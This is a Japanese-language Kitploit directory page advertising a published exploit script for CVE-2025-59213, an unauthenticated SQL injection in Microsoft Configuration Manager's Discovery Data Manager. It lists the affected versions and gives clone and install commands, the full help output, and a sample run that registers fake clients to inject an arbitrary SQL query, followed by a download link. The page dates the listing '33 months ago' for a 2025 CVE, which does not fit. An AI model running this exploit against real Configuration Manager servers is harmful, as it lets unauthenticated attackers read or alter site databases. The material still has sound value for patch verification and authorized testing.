Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/synacktiv/cve-2025-59213
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストデータベースセキュリティ
GitHubsynacktiv/cve-2025-59213

CVE-2025-59213

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Microsoft Configuration Manager (ConfigMgr / SCCM) 2503 の認証なしSQLインジェクション (CVE-2025-59213) エクスプロイト

このスクリプトは、CVE-2025-59213 の脆弱性を悪用します。この脆弱性により、Management Point にネットワークアクセスを持つ認証されていない攻撃者が、Discovery Data Manager (DDM) の DuplicateAMTMachineRecord メソッドにおける SQL インジェクションの欠陥を悪用して、サイトデータベースに対して任意の SQL クエリを実行できます。このメソッドでは、エスケープされていない Hardware_ID0 フィールドが、競合するハードウェア ID を持つ 2 つのクライアントのマージ中に不適切に処理されます。

KB34503790 が適用されていない場合、以下のすべての Microsoft Configuration Manager バージョンが影響を受けます:

  • < 2503 (5.00.9135.1008)
  • < 2409 (5.00.9132.1029)
  • < 2403 (5.00.9128.1035)
  • <= 2303 (*)

要件

  • 場合によっては、管理ポイントが HTTPS Only 通信モードで構成されている場合、脆弱な HTTP サービスに対して相互 TLS 認証を実行するには PKI 証明書が必要です。内部 PKI によって発行された Client Authentication 目的の証明書であればどれでも機能します。
  • 証明書がない場合は、--altauth スイッチを使用してください(詳細情報はこちら)

注記

  • このエクスプロイトは 2 つの偽クライアントの登録を必要とし、スクリプトは SQL インジェクションが成功すると、--no-clean スイッチが使用されている場合、またはパッチによってクリーンアップのトリガーが妨げられない限り、それらを自動的に削除します。
  • インジェクションは非同期であるため、実行と応答時間の間に直接的な相関関係がなく、時間ベースのペイロードは無効です。

インストール

リポジトリをクローンして依存関係をインストールすることで、インストールできます。

root@kitploit:~
$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

使用方法

root@kitploit:~
 $ python3 CVE-2025-59213.py -h 
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]

CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target (http://sccm-mp.local/)
  -sk, --sigkey SIGKEY  SMS signature key (automatically generated if omitted)
  -k, --key KEY         Private key file for mTLS
  -c, --cert CERT       Certificate file for mTLS
  -v, --verbose         Verbose output, print requests
  -cn, --client-name CLIENT_NAME
                        Name of the client that will be created in SCCM
  -rs, --registration-sleep REGISTRATION_SLEEP
                        The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
  -a, --altauth         Use the MP's alternate authentication endpoint
  -sql SQL              Query to execute through the SQL injection
  -nc, --no-clean       Do not automatically clean the registred devices

使用例

root@kitploit:~
$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully
ツールをダウンロード